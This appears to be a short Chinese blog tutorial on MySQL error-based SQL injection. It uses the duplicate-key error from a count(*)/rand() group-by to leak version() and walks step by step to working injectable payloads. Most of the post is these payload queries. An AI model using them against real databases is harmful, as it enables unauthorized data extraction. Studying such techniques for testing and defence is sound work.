我要评论grouping on certain parts of the result from rand, causes a duplicate key error.
重现过程:
于是便可以这样拿来爆错注入了。
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代码如下:select count(*),concat((select version()),left(rand(),3))x from inform<span style="line-height:1.5;">ation_schema.tables group by x;</span>
尝试拿来实战
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代码如下:select * from user where user='root' and (select count(*),concat((select version()),left(rand(),3))x from information_schema.tables group by x);
提示错误 选择的列应该为一个。那么。我们换一下
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代码如下:select * from user where user='root' and (select 1 from (select count(*),concat((select version()),left(rand(),3))x from information_schema.tables group by x));<span style="font-family:'sans serif', tahoma, verdana, helvetica;font-size:12px;line-height:1.5;"></span>
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代码如下:1248 (42000): every derived table must have its own alias
提示多表查询要有别名 那好办
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代码如下:select * from user where user='root' and (select 1 from (select count(*),concat((select version()),left(rand(),3))x from information_schema.tables group by x)a);
或者
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代码如下:select * from user where user='root' and (select 1 from (select count(*),concat((select version()),left(rand(),3))x from information_schema.tables group by x) as lusiyu);
成功爆粗注入了.
作者： 小残 绳命不息 |折腾不止
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